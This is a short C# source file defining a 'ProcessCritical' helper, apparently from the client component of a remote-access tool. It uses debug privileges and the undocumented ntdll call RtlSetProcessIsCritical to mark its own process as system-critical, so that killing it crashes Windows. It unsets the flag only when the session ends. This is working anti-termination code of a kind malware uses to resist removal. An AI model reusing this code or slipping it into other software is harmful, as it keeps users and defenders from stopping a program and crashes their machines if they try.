2019-06-19 10:01:54 +03:00

47 lines
1.2 KiB
C#

using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Client.Helper
{
public static class ProcessCritical
{
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
{
Exit();
}
public static void Set()
{
try
{
SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
Process.EnterDebugMode();
RtlSetProcessIsCritical(1, 0, 0);
}
catch { }
}
public static void Exit()
{
try
{
RtlSetProcessIsCritical(0, 0, 0);
}
catch
{
while (true)
{
Thread.Sleep(100000); //prevents a BSOD on exit failure
}
}
}
#region "Native Methods"
[DllImport("ntdll.dll", SetLastError = true)]
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
#endregion
}
}